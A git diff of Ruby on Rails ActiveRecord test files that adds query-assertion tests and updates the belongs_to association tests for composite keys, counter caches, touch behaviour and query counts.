+require "active_record/testing/query_assertions"
+
+module ActiveRecord
+  module Assertions
+    class QueryAssertionsTest < ActiveSupport::TestCase
+      extend AdapterHelper
+      include QueryAssertions
+
+      def test_assert_queries_count
+        assert_queries_count(1) { Post.first }
+
+        error = assert_raises(Minitest::Assertion) {
+          assert_queries_count(2) { Post.first }
+        }
+        assert_match(/1 instead of 2 queries/, error.message)
+
+        error = assert_raises(Minitest::Assertion) {
+          assert_queries_count(0) { Post.first }
+        }
+        assert_match(/1 instead of 0 queries/, error.message)
+      end
+
+      def test_assert_queries_count_any
+        assert_queries_count { Post.first }
+
+        assert_raises(Minitest::Assertion, match: "1 or more queries expected") {
+          assert_queries_count { }
+        }
+      end
+
+      def test_assert_no_queries
+        assert_no_queries { Post.none }
+
+        assert_raises(Minitest::Assertion, match: "1 instead of 0") {
+          assert_no_queries { Post.first }
+        }
+      end
+
+      def test_assert_queries_match
+        assert_queries_match(/ASC LIMIT/i, count: 1) { Post.first }
+        assert_queries_match(/ASC LIMIT/i) { Post.first }
+
+        error = assert_raises(Minitest::Assertion) {
+          assert_queries_match(/ASC LIMIT/i, count: 2) { Post.first }
+        }
+        assert_match(/1 instead of 2 matching queries/, error.message)
+
+        error = assert_raises(Minitest::Assertion) {
+          assert_queries_match(/ASC LIMIT/i, count: 0) { Post.first }
+        }
+        assert_match(/1 instead of 0 matching queries/, error.message)
+      end
+
+      def test_assert_queries_match_with_matcher
+        error = assert_raises(Minitest::Assertion) {
+          assert_queries_match(/WHERE "posts"."id" = \? LIMIT \?/, count: 1) do
+            Post.where(id: 1).first
+          end
+        }
+        assert_match(/0 instead of 1 matching queries/, error.message)
+      end
+
+      def test_assert_queries_match_when_there_are_no_queries
+        assert_raises(Minitest::Assertion, match: "1 or more matching queries expected, but none were executed") do
+          assert_queries_match(/something/) { Post.none }
+        end
+      end
+
+      def test_assert_no_queries_match
+        assert_no_queries_match(/something/) { Post.none }
+
+        error = assert_raises(Minitest::Assertion) {
+          assert_no_queries_match(/ORDER BY/i) { Post.first }
+        }
+        assert_match(/1 instead of 0/, error.message)
+      end
+
+      def test_assert_no_queries_match_matcher
+        assert_raises(Minitest::Assertion, match: "1 instead of 0") do
+          assert_no_queries_match(/ORDER BY/i) do
+            Post.first
+          end
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_assert_queries_count_include_schema
+          Post.columns # load columns
+          assert_raises(Minitest::Assertion, match: "1 or more queries expected") do
+            assert_queries_count(include_schema: true) { Post.columns }
+          end
+
+          Post.reset_column_information
+          assert_queries_count(include_schema: true) { Post.columns }
+        end
+
+        def test_assert_no_queries_include_schema
+          assert_no_queries { Post.none }
+
+          assert_raises(Minitest::Assertion, match: /\d instead of 0/) {
+            assert_no_queries { Post.first }
+          }
+
+          Post.reset_column_information
+          assert_raises(Minitest::Assertion, match: /\d instead of 0/) {
+            assert_no_queries(include_schema: true) { Post.columns }
+          }
+        end
+
+        def test_assert_queries_match_include_schema
+          Post.columns # load columns
+          assert_raises(Minitest::Assertion, match: "1 or more matching queries expected") do
+            assert_queries_match(/SELECT/i, include_schema: true) { Post.columns }
+          end
+
+          Post.reset_column_information
+          assert_queries_match(/SELECT/i, include_schema: true) { Post.columns }
+        end
+
+        def test_assert_no_queries_match_include_schema
+          Post.columns # load columns
+          assert_no_queries_match(/SELECT/i, include_schema: true) { Post.columns }
+
+          Post.reset_column_information
+          assert_raises(Minitest::Assertion, match: /\d instead of 0/) do
+            assert_no_queries_match(/SELECT/i, include_schema: true) { Post.columns }
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
deleted file mode 100644
index c322333f6da3a..0000000000000
--- a/activerecord/test/cases/associations/association_scope_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require "models/post"
-require "models/author"
-
-module ActiveRecord
-  module Associations
-    class AssociationScopeTest < ActiveRecord::TestCase
-      test "does not duplicate conditions" do
-        scope = AssociationScope.scope(Author.new.association(:welcome_posts),
-                                        Author.connection)
-        binds = scope.where_clause.binds.map(&:value)
-        assert_equal binds.uniq, binds
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 5875a1871f3f6..1d9544316897b 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
+require "models/attachment"
 require "models/developer"
 require "models/project"
 require "models/company"
@@ -23,16 +27,69 @@
 require "models/ship"
 require "models/treasure"
 require "models/parrot"
+require "models/book"
+require "models/citation"
+require "models/tree"
+require "models/node"
+require "models/club"
+require "models/cpk"
+require "models/person" # not used by this suite as of this writing, it is a workaround for https://github.com/rails/rails/issues/55133
+require "models/car"
+require "models/sharded/blog"
+require "models/sharded/blog_post"
+require "models/sharded/comment"
+require "models/dats"
 
 class BelongsToAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :topics,
            :developers_projects, :computers, :authors, :author_addresses,
-           :posts, :tags, :taggings, :comments, :sponsors, :members
+           :essays, :posts, :tags, :taggings, :comments, :sponsors, :members, :nodes, :cpk_books
 
   def test_belongs_to
-    firm = Client.find(3).firm
-    assert_not_nil firm
-    assert_equal companies(:first_firm).name, firm.name
+    client = Client.find(3)
+    first_firm = companies(:first_firm)
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      assert_equal first_firm, client.firm
+      assert_equal first_firm.name, client.firm.name
+    end
+  end
+
+  def test_where_with_custom_primary_key
+    assert_equal [authors(:david)], Author.where(owned_essay: essays(:david_modest_proposal))
+  end
+
+  def test_find_by_with_custom_primary_key
+    assert_equal authors(:david), Author.find_by(owned_essay: essays(:david_modest_proposal))
+  end
+
+  def test_where_on_polymorphic_association_with_nil
+    assert_equal comments(:greetings), Comment.where(author: nil).first
+    assert_equal comments(:greetings), Comment.where(author: [nil]).first
+  end
+
+  def test_where_on_polymorphic_association_with_empty_array
+    assert_empty Comment.where(author: [])
+  end
+
+  def test_where_on_polymorphic_association_with_cpk
+    post = Cpk::Post.create!(title: "Welcome", author: "Mary")
+    post.comments << Cpk::Comment.create!
+    assert_equal 1, Cpk::Comment.where(commentable: post).count
+  end
+
+  def test_assigning_belongs_to_on_destroyed_object
+    client = Client.create!(name: "Client")
+    client.destroy!
+    assert_raise(FrozenError) { client.firm = nil }
+    assert_raise(FrozenError) { client.firm = Firm.new(name: "Firm") }
+  end
+
+  def test_eager_loading_wont_mutate_owner_record
+    client = Client.eager_load(:firm_with_basic_id).first
+    assert_not_predicate client, :firm_id_came_from_user?
+
+    client = Client.preload(:firm_with_basic_id).first
+    assert_not_predicate client, :firm_id_came_from_user?
   end
 
   def test_missing_attribute_error_is_raised_when_no_foreign_key_attribute
@@ -40,10 +97,8 @@ def test_missing_attribute_error_is_raised_when_no_foreign_key_attribute
   end
 
   def test_belongs_to_does_not_use_order_by
-    ActiveRecord::SQLCounter.clear_log
-    Client.find(3).firm
-  ensure
-    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, "ORDER BY was used in the query"
+    sql_log = capture_sql { Client.find(3).firm }
+    assert sql_log.all? { |sql| !/order by/i.match?(sql) }, "ORDER BY was used in the query: #{sql_log}"
   end
 
   def test_belongs_to_with_primary_key
@@ -53,19 +108,42 @@ def test_belongs_to_with_primary_key
 
   def test_belongs_to_with_primary_key_joins_on_correct_column
     sql = Client.joins(:firm_with_primary_key).to_sql
-    if current_adapter?(:Mysql2Adapter)
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
       assert_no_match(/`firm_with_primary_keys_companies`\.`id`/, sql)
       assert_match(/`firm_with_primary_keys_companies`\.`name`/, sql)
-    elsif current_adapter?(:OracleAdapter)
-      # on Oracle aliases are truncated to 30 characters and are quoted in uppercase
-      assert_no_match(/"firm_with_primary_keys_compani"\."id"/i, sql)
-      assert_match(/"firm_with_primary_keys_compani"\."name"/i, sql)
     else
       assert_no_match(/"firm_with_primary_keys_companies"\."id"/, sql)
       assert_match(/"firm_with_primary_keys_companies"\."name"/, sql)
     end
   end
 
+  def test_optional_relation_can_be_set_per_model
+    model1 = Class.new(ActiveRecord::Base) do
+      self.table_name = "accounts"
+      self.belongs_to_required_by_default = false
+
+      belongs_to :company
+
+      def self.name
+        "FirstModel"
+      end
+    end.new
+
+    model2 = Class.new(ActiveRecord::Base) do
+      self.table_name = "accounts"
+      self.belongs_to_required_by_default = true
+
+      belongs_to :company
+
+      def self.name
+        "SecondModel"
+      end
+    end.new
+
+    assert_predicate model1, :valid?
+    assert_not_predicate model2, :valid?
+  end
+
   def test_optional_relation
     original_value = ActiveRecord::Base.belongs_to_required_by_default
     ActiveRecord::Base.belongs_to_required_by_default = true
@@ -77,7 +155,7 @@ def self.name; "Temp"; end
     end
 
     account = model.new
-    assert account.valid?
+    assert_predicate account, :valid?
   ensure
     ActiveRecord::Base.belongs_to_required_by_default = original_value
   end
@@ -93,7 +171,7 @@ def self.name; "Temp"; end
     end
 
     account = model.new
-    assert_not account.valid?
+    assert_not_predicate account, :valid?
     assert_equal [{ error: :blank }], account.errors.details[:company]
   ensure
     ActiveRecord::Base.belongs_to_required_by_default = original_value
@@ -110,12 +188,50 @@ def self.name; "Temp"; end
     end
 
     account = model.new
-    assert_not account.valid?
+    assert_not_predicate account, :valid?
     assert_equal [{ error: :blank }], account.errors.details[:company]
   ensure
     ActiveRecord::Base.belongs_to_required_by_default = original_value
   end
 
+  def test_default
+    david = developers(:david)
+    jamis = developers(:jamis)
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ships"
+      def self.name; "Temp"; end
+      belongs_to :developer, default: -> { david }
+    end
+
+    ship = model.create!
+    assert_equal david, ship.developer
+
+    ship = model.create!(developer: jamis)
+    assert_equal jamis, ship.developer
+
+    ship.update!(developer: nil)
+    assert_equal david, ship.developer
+  end
+
+  def test_default_with_lambda
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ships"
+      def self.name; "Temp"; end
+      belongs_to :developer, default: -> { default_developer }
+
+      def default_developer
+        Developer.first
+      end
+    end
+
+    ship = model.create!
+    assert_equal developers(:david), ship.developer
+
+    ship = model.create!(developer: developers(:jamis))
+    assert_equal developers(:jamis), ship.developer
+  end
+
   def test_default_scope_on_relations_is_not_cached
     counter = 0
 
@@ -140,9 +256,9 @@ def test_default_scope_on_relations_is_not_cached
     assert_equal 0, counter
     comment = comments.first
     assert_equal 0, counter
-    sql = capture_sql { comment.post }
+    queries = capture_sql_and_binds { comment.post }
     comment.reload
-    assert_not_equal sql, capture_sql { comment.post }
+    assert_not_equal queries, capture_sql_and_binds { comment.post }
   end
 
   def test_proxy_assignment
@@ -158,8 +274,8 @@ def test_type_mismatch
   def test_raises_type_mismatch_with_namespaced_class
     assert_nil defined?(Region), "This test requires that there is no top-level Region class"
 
-    ActiveRecord::Base.connection.instance_eval do
-      create_table(:admin_regions) { |t| t.string :name }
+    ActiveRecord::Base.lease_connection.instance_eval do
+      create_table(:admin_regions, force: true) { |t| t.string :name }
       add_column :admin_users, :region_id, :integer
     end
     Admin.const_set "RegionalUser", Class.new(Admin::User) { belongs_to(:region) }
@@ -173,10 +289,12 @@ def test_raises_type_mismatch_with_namespaced_class
     Admin.send :remove_const, "Region" if Admin.const_defined?("Region")
     Admin.send :remove_const, "RegionalUser" if Admin.const_defined?("RegionalUser")
 
-    ActiveRecord::Base.connection.instance_eval do
+    ActiveRecord::Base.lease_connection.instance_eval do
       remove_column :admin_users, :region_id if column_exists?(:admin_users, :region_id)
       drop_table :admin_regions, if_exists: true
     end
+
+    Admin::User.reset_column_information
   end
 
   def test_natural_assignment
@@ -204,14 +322,14 @@ def test_eager_loading_with_primary_key
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
     citibank_result = Client.all.merge!(where: { name: "Citibank" }, includes: :firm_with_primary_key).first
-    assert citibank_result.association(:firm_with_primary_key).loaded?
+    assert_predicate citibank_result.association(:firm_with_primary_key), :loaded?
   end
 
   def test_eager_loading_with_primary_key_as_symbol
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
     citibank_result = Client.all.merge!(where: { name: "Citibank" }, includes: :firm_with_primary_key_symbols).first
-    assert citibank_result.association(:firm_with_primary_key_symbols).loaded?
+    assert_predicate citibank_result.association(:firm_with_primary_key_symbols), :loaded?
   end
 
   def test_creating_the_belonging_object
@@ -223,6 +341,15 @@ def test_creating_the_belonging_object
     assert_equal apple, citibank.firm
   end
 
+  def test_creating_the_belonging_object_from_new_record
+    citibank = Account.new("credit_limit" => 10)
+    apple    = citibank.create_firm("name" => "Apple")
+    assert_equal apple, citibank.firm
+    citibank.save
+    citibank.reload
+    assert_equal apple, citibank.firm
+  end
+
   def test_creating_the_belonging_object_with_primary_key
     client = Client.create(name: "Primary key client")
     apple  = client.create_firm_with_primary_key("name" => "Apple")
@@ -239,6 +366,74 @@ def test_building_the_belonging_object
     assert_equal apple.id, citibank.firm_id
   end
 
+  def test_building_the_belonging_object_for_composite_primary_key
+    cpk_book = cpk_books(:cpk_great_author_first_book)
+    order = cpk_book.build_order
+    cpk_book.save
+
+    _shop_id, id = order.id
+    assert_equal id, cpk_book.order_id
+  end
+
+  def test_belongs_to_with_explicit_composite_primary_key
+    cpk_book = cpk_books(:cpk_great_author_first_book)
+    order = cpk_book.build_order_explicit_fk_pk
+    order.shop_id = 123
+    cpk_book.save
+
+    shop_id, id = order.id
+    assert_equal id, cpk_book.order_id
+    assert_equal shop_id, cpk_book.shop_id
+    assert_equal order, cpk_book.reload.order_explicit_fk_pk
+  end
+
+  def test_belongs_to_with_inverse_association_for_composite_primary_key
+    author = Cpk::Author.new(name: "John")
+    book = author.books.build(id: [nil, 1], title: "The Rails Way")
+    order = Cpk::Order.new(book: book, status: "paid")
+    author.save!
+
+    _order_shop_id, order_id = order.id
+    assert order_id
+    assert_equal order_id, book.order_id
+  end
+
+  def test_should_set_composite_foreign_key_on_association_when_key_changes_on_associated_record
+    book = Cpk::Book.create!(id: [1, 2], title: "The Well-Grounded Rubyist")
+    order = Cpk::Order.create!(id: [1, 2], book: book)
+
+    order.shop_id = 3
+    order.save!
+
+    assert_equal 3, book.shop_id
+  end
+
+  def test_clearing_optional_cpk_belongs_to_should_preserve_shared_pk
+    book = Cpk::Book.create!(id: [1, 2], title: "The Well-Grounded Rubyist")
+    chapter = Cpk::OptionalChapter.create!(id: [1, 2], book: book)
+
+    assert_equal book, chapter.book
+    assert_equal [1, 2], chapter.id
+
+    chapter.update!(book: nil)
+
+    assert_equal [1, 2], chapter.id
+    assert_nil chapter.book_id
+    assert_equal chapter.author_id, book.author_id
+  end
+
+  def test_should_reload_association_on_model_with_query_constraints_when_foreign_key_changes
+    blog = Sharded::Blog.create!
+    blog_post = Sharded::BlogPost.create!(blog: blog)
+    comment = Sharded::Comment.create!(blog: blog)
+
+    # Load the association once
+    comment.blog_post
+    comment.blog_post_id = blog_post.id
+
+    assert_equal blog_post, comment.blog_post
+  end
+
   def test_building_the_belonging_object_with_implicit_sti_base_class
     account = Account.new
     company = account.build_firm
@@ -278,7 +473,7 @@ def test_create!
     client  = Client.create!(name: "Jimmy")
     account = client.create_account!(credit_limit: 10)
     assert_equal account, client.account
-    assert account.persisted?
+    assert_predicate account, :persisted?
     client.save
     client.reload
     assert_equal account, client.account
@@ -288,7 +483,7 @@ def test_failing_create!
     client = Client.create!(name: "Jimmy")
     assert_raise(ActiveRecord::RecordInvalid) { client.create_account! }
     assert_not_nil client.account
-    assert client.account.new_record?
+    assert_predicate client.account, :new_record?
   end
 
   def test_reloading_the_belonging_object
@@ -298,7 +493,46 @@ def test_reloading_the_belonging_object
     Company.where(id: odegy_account.firm_id).update_all(name: "ODEGY")
     assert_equal "Odegy", odegy_account.firm.name
 
-    assert_equal "ODEGY", odegy_account.reload_firm.name
+    assert_queries_count(1) { odegy_account.reload_firm }
+
+    assert_no_queries { odegy_account.firm }
+    assert_equal "ODEGY", odegy_account.firm.name
+  end
+
+  def test_reload_the_belonging_object_with_query_cache
+    odegy_account_id = accounts(:odegy_account).id
+
+    connection = ActiveRecord::Base.lease_connection
+    connection.enable_query_cache!
+    connection.clear_query_cache
+
+    # Populate the cache with a query
+    odegy_account = Account.find(odegy_account_id)
+
+    # Populate the cache with a second query
+    odegy_account.firm
+
+    assert_equal 2, connection.query_cache.size
+
+    # Clear the cache and fetch the firm again, populating the cache with a query
+    assert_queries_count(1) { odegy_account.reload_firm }
+
+    # This query is not cached anymore, so it should make a real SQL query
+    assert_queries_count(1) { Account.find(odegy_account_id) }
+  ensure
+    ActiveRecord::Base.lease_connection.disable_query_cache!
+  end
+
+  def test_resetting_the_association
+    odegy_account = accounts(:odegy_account)
+
+    assert_equal "Odegy", odegy_account.firm.name
+    Company.where(id: odegy_account.firm_id).update_all(name: "ODEGY")
+    assert_equal "Odegy", odegy_account.firm.name
+
+    assert_no_queries { odegy_account.reset_firm }
+    assert_queries_count(1) { odegy_account.firm }
+    assert_equal "ODEGY", odegy_account.firm.name
   end
 
   def test_natural_assignment_to_nil
@@ -331,32 +565,43 @@ def test_with_condition
 
   def test_polymorphic_association_class
     sponsor = Sponsor.new
-    assert_nil sponsor.association(:sponsorable).send(:klass)
+    assert_nil sponsor.association(:sponsorable).klass
     sponsor.association(:sponsorable).reload
     assert_nil sponsor.sponsorable
 
     sponsor.sponsorable_type = "" # the column doesn't have to be declared NOT NULL
-    assert_nil sponsor.association(:sponsorable).send(:klass)
+    assert_nil sponsor.association(:sponsorable).klass
     sponsor.association(:sponsorable).reload
     assert_nil sponsor.sponsorable
 
     sponsor.sponsorable = Member.new name: "Bert"
-    assert_equal Member, sponsor.association(:sponsorable).send(:klass)
-    assert_equal "members", sponsor.association(:sponsorable).aliased_table_name
+    assert_equal Member, sponsor.association(:sponsorable).klass
   end
 
   def test_with_polymorphic_and_condition
     sponsor = Sponsor.create
     member = Member.create name: "Bert"
+
     sponsor.sponsorable = member
+    sponsor.save!
+
+    assert_equal member, sponsor.sponsorable
+    assert_nil sponsor.sponsorable_with_conditions
+
+    sponsor = Sponsor.preload(:sponsorable, :sponsorable_with_conditions).last
 
     assert_equal member, sponsor.sponsorable
     assert_nil sponsor.sponsorable_with_conditions
   end
 
   def test_with_select
-    assert_equal 1, Company.find(2).firm_with_select.attributes.size
-    assert_equal 1, Company.all.merge!(includes: :firm_with_select).find(2).firm_with_select.attributes.size
+    assert_equal 1, Post.find(2).author_with_select.attributes.size
+    assert_equal 1, Post.includes(:author_with_select).find(2).author_with_select.attributes.size
+  end
+
+  def test_custom_attribute_with_select
+    assert_equal 2, Company.find(2).firm_with_select.attributes.size
+    assert_equal 2, Company.includes(:firm_with_select).find(2).firm_with_select.attributes.size
   end
 
   def test_belongs_to_without_counter_cache_option
@@ -387,31 +632,70 @@ def test_belongs_to_counter
   end
 
   def test_belongs_to_counter_with_assigning_nil
-    post = Post.find(1)
-    comment = Comment.find(1)
+    topic = Topic.create!(title: "debate")
+    reply = Reply.create!(title: "blah!", content: "world around!", topic: topic)
+
+    assert_equal topic.id, reply.parent_id
+    assert_equal 1, topic.reload.replies.size
+
+    reply.topic = nil
+    reply.reload
+
+    assert_equal topic.id, reply.parent_id
+    assert_equal 1, topic.reload.replies.size
+
+    reply.topic = nil
+    reply.save!
+
+    assert_equal 0, topic.reload.replies.size
+  end
+
+  def test_belongs_to_counter_with_assigning_new_object
+    topic = Topic.create!(title: "debate")
+    reply = Reply.create!(title: "blah!", content: "world around!", topic: topic)
+
+    assert_equal topic.id, reply.parent_id
+    assert_equal 1, topic.reload.replies_count
 
-    assert_equal post.id, comment.post_id
-    assert_equal 2, Post.find(post.id).comments.size
+    topic2 = reply.build_topic(title: "debate2")
+    reply.save!
 
-    comment.post = nil
+    assert_not_equal topic.id, reply.parent_id
+    assert_equal topic2.id, reply.parent_id
 
-    assert_equal 1, Post.find(post.id).comments.size
+    assert_equal 0, topic.reload.replies_count
+    assert_equal 1, topic2.reload.replies_count
   end
 
   def test_belongs_to_with_primary_key_counter
     debate  = Topic.create("title" => "debate")
     debate2 = Topic.create("title" => "debate2")
-    reply   = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate")
+    reply   = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate2")
+
+    assert_equal 0, debate.reload.replies_count
+    assert_equal 1, debate2.reload.replies_count
+
+    reply.parent_title = "debate"
+    reply.save!
+
+    assert_equal 1, debate.reload.replies_count
+    assert_equal 0, debate2.reload.replies_count
+
+    assert_no_queries do
+      reply.topic_with_primary_key = debate
+    end
 
     assert_equal 1, debate.reload.replies_count
     assert_equal 0, debate2.reload.replies_count
 
     reply.topic_with_primary_key = debate2
+    reply.save!
 
     assert_equal 0, debate.reload.replies_count
     assert_equal 1, debate2.reload.replies_count
 
     reply.topic_with_primary_key = nil
+    reply.save!
 
     assert_equal 0, debate.reload.replies_count
     assert_equal 0, debate2.reload.replies_count
@@ -438,11 +722,13 @@ def test_belongs_to_counter_with_reassigning
     assert_equal 1, Topic.find(topic2.id).replies.size
 
     reply1.topic = nil
+    reply1.save!
 
     assert_equal 0, Topic.find(topic1.id).replies.size
     assert_equal 0, Topic.find(topic2.id).replies.size
 
     reply1.topic = topic1
+    reply1.save!
 
     assert_equal 1, Topic.find(topic1.id).replies.size
     assert_equal 0, Topic.find(topic2.id).replies.size
@@ -472,18 +758,69 @@ def test_belongs_to_reassign_with_namespaced_models_and_counters
 
   def test_belongs_to_counter_after_save
     topic = Topic.create!(title: "monday night")
-    topic.replies.create!(title: "re: monday night", content: "football")
+
+    assert_queries_count(4) do
+      topic.replies.create!(title: "re: monday night", content: "football")
+    end
+
     assert_equal 1, Topic.find(topic.id)[:replies_count]
 
     topic.save!
     assert_equal 1, Topic.find(topic.id)[:replies_count]
   end
 
+  def test_belongs_to_counter_after_touch
+    topic = Topic.create!(title: "topic")
+
+    assert_equal 0, topic.replies_count
+    assert_equal 0, topic.after_touch_called
+
+    reply = Reply.create!(title: "blah!", content: "world around!", topic_with_primary_key: topic)
+
+    assert_equal 1, topic.replies_count
+    assert_equal 1, topic.after_touch_called
+
+    reply.destroy!
+
+    assert_equal 0, topic.replies_count
+    assert_equal 2, topic.after_touch_called
+  end
+
+  def test_belongs_to_touch_with_reassigning
+    debate  = Topic.create!(title: "debate")
+    debate2 = Topic.create!(title: "debate2")
+    reply   = Reply.create!(title: "blah!", content: "world around!", parent_title: "debate2")
+
+    time = 1.day.ago
+
+    debate.touch(time: time)
+    debate2.touch(time: time)
+
+    assert_queries_count(5) do
+      reply.parent_title = "debate"
+      reply.save!
+    end
+
+    assert_operator debate.reload.updated_at, :>, time
+    assert_operator debate2.reload.updated_at, :>, time
+
+    debate.touch(time: time)
+    debate2.touch(time: time)
+
+    assert_queries_count(5) do
+      reply.topic_with_primary_key = debate2
+      reply.save!
+    end
+
+    assert_operator debate.reload.updated_at, :>, time
+    assert_operator debate2.reload.updated_at, :>, time
+  end
+
   def test_belongs_to_with_touch_option_on_touch
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
 
-    assert_queries(1) { line_item.touch }
+    assert_queries_count(3) { line_item.touch }
   end
 
   def test_belongs_to_with_touch_on_multiple_records
@@ -491,14 +828,14 @@ def test_belongs_to_with_touch_on_multiple_records
     line_item2 = LineItem.create!(amount: 2)
     Invoice.create!(line_items: [line_item, line_item2])
 
-    assert_queries(1) do
+    assert_queries_count(3) do
       LineItem.transaction do
         line_item.touch
         line_item2.touch
       end
     end
 
-    assert_queries(2) do
+    assert_queries_count(6) do
       line_item.touch
       line_item2.touch
     end
@@ -523,28 +860,28 @@ def test_belongs_to_with_touch_option_on_touch_and_removed_parent
 
     line_item.invoice = nil
 
-    assert_queries(2) { line_item.touch }
+    assert_queries_count(4) { line_item.touch }
   end
 
   def test_belongs_to_with_touch_option_on_update
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
 
-    assert_queries(2) { line_item.update amount: 10 }
+    assert_queries_count(4) { line_item.update amount: 10 }
   end
 
   def test_belongs_to_with_touch_option_on_empty_update
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
 
-    assert_queries(0) { line_item.save }
+    assert_no_queries { line_item.save }
   end
 
   def test_belongs_to_with_touch_option_on_destroy
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
 
-    assert_queries(2) { line_item.destroy }
+    assert_queries_count(4) { line_item.destroy }
   end
 
   def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
@@ -552,7 +889,7 @@ def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
     invoice   = Invoice.create!(line_items: [line_item])
     invoice.destroy
 
-    assert_queries(1) { line_item.destroy }
+    assert_queries_count(3) { line_item.destroy }
   end
 
   def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
@@ -561,7 +898,7 @@ def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
 
     line_item.invoice = Invoice.create!
 
-    assert_queries(3) { line_item.touch }
+    assert_queries_count(5) { line_item.touch }
   end
 
   def test_belongs_to_counter_after_update
@@ -586,10 +923,10 @@ def test_assignment_before_child_saved
     final_cut = Client.new("name" => "Final Cut")
     firm = Firm.find(1)
     final_cut.firm = firm
-    assert !final_cut.persisted?
+    assert_not_predicate final_cut, :persisted?
     assert final_cut.save
-    assert final_cut.persisted?
-    assert firm.persisted?
+    assert_predicate final_cut, :persisted?
+    assert_predicate firm, :persisted?
     assert_equal firm, final_cut.firm
     final_cut.association(:firm).reload
     assert_equal firm, final_cut.firm
@@ -599,10 +936,10 @@ def test_assignment_before_child_saved_with_primary_key
     final_cut = Client.new("name" => "Final Cut")
     firm = Firm.find(1)
     final_cut.firm_with_primary_key = firm
-    assert !final_cut.persisted?
+    assert_not_predicate final_cut, :persisted?
     assert final_cut.save
-    assert final_cut.persisted?
-    assert firm.persisted?
+    assert_predicate final_cut, :persisted?
+    assert_predicate firm, :persisted?
     assert_equal firm, final_cut.firm_with_primary_key
     final_cut.association(:firm_with_primary_key).reload
     assert_equal firm, final_cut.firm_with_primary_key
@@ -610,8 +947,7 @@ def test_assignment_before_child_saved_with_primary_key
 
   def test_new_record_with_foreign_key_but_no_object
     client = Client.new("firm_id" => 1)
-    # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    assert_equal Firm.all.merge!(order: "id").first, client.firm_with_basic_id
+    assert_equal Firm.first, client.firm_with_basic_id
   end
 
   def test_setting_foreign_key_after_nil_target_loaded
@@ -633,13 +969,13 @@ def test_polymorphic_setting_foreign_key_after_nil_target_loaded
 
   def test_dont_find_target_when_foreign_key_is_null
     tagging = taggings(:thinking_general)
-    assert_queries(0) { tagging.super_tag }
+    assert_no_queries { tagging.super_tag }
   end
 
   def test_dont_find_target_when_saving_foreign_key_after_stale_association_loaded
     client = Client.create!(name: "Test client", firm_with_basic_id: Firm.find(1))
     client.firm_id = Firm.create!(name: "Test firm").id
-    assert_queries(1) { client.save! }
+    assert_queries_count(3) { client.save! }
   end
 
   def test_field_name_same_as_foreign_key
@@ -653,6 +989,7 @@ def test_counter_cache
 
     reply = Reply.create(title: "re: zoom", content: "speedy quick!")
     reply.topic = topic
+    reply.save!
 
     assert_equal 1, topic.reload[:replies_count]
     assert_equal 1, topic.replies.size
@@ -708,6 +1045,7 @@ def test_custom_counter_cache
 
     silly = SillyReply.create(title: "gaga", content: "boo-boo")
     silly.reply = reply
+    silly.save!
 
     assert_equal 1, reply.reload[:replies_count]
     assert_equal 1, reply.replies.size
@@ -750,20 +1088,22 @@ def test_association_assignment_sticks
 
   def test_cant_save_readonly_association
     assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_client).readonly_firm.save! }
-    assert companies(:first_client).readonly_firm.readonly?
+    assert_predicate companies(:first_client).readonly_firm, :readonly?
   end
 
   def test_polymorphic_assignment_foreign_key_type_string
     comment = Comment.first
-    comment.author   = Author.first
-    comment.resource = Member.first
+    comment.author   = authors(:david)
+    comment.resource = members(:groucho)
     comment.save
 
-    assert_equal Comment.all.to_a,
-      Comment.includes(:author).to_a
+    assert_equal 1, authors(:david).id
+    assert_equal 1, comment.author_id
+    assert_equal authors(:david), Comment.includes(:author).first.author
 
-    assert_equal Comment.all.to_a,
-      Comment.includes(:resource).to_a
+    assert_equal 1, members(:groucho).id
+    assert_equal "1", comment.resource_id
+    assert_equal members(:groucho), Comment.includes(:resource).first.resource
   end
 
   def test_polymorphic_assignment_foreign_type_field_updating
@@ -849,8 +1189,10 @@ def test_belongs_to_proxy_should_not_respond_to_private_methods
   end
 
   def test_belongs_to_proxy_should_respond_to_private_methods_via_send
-    companies(:first_firm).send(:private_method)
-    companies(:second_client).firm.send(:private_method)
+    assert_nothing_raised do
+      companies(:first_firm).send(:private_method)
+      companies(:second_client).firm.send(:private_method)
+    end
   end
 
   def test_save_of_record_with_loaded_belongs_to
@@ -888,12 +1230,52 @@ def test_belongs_to_invalid_dependent_option_raises_exception
     error = assert_raise ArgumentError do
       Class.new(Author).belongs_to :special_author_address, dependent: :nullify
     end
-    assert_equal error.message, "The :dependent option must be one of [:destroy, :delete], but is :nullify"
+    assert_equal "The :dependent option must be one of [:destroy, :delete, :destroy_async], but is :nullify", error.message
+  end
+
+  class EssayDestroy < ActiveRecord::Base
+    self.table_name = "essays"
+    belongs_to :book, dependent: :destroy, class_name: "DestroyableBook"
+  end
+
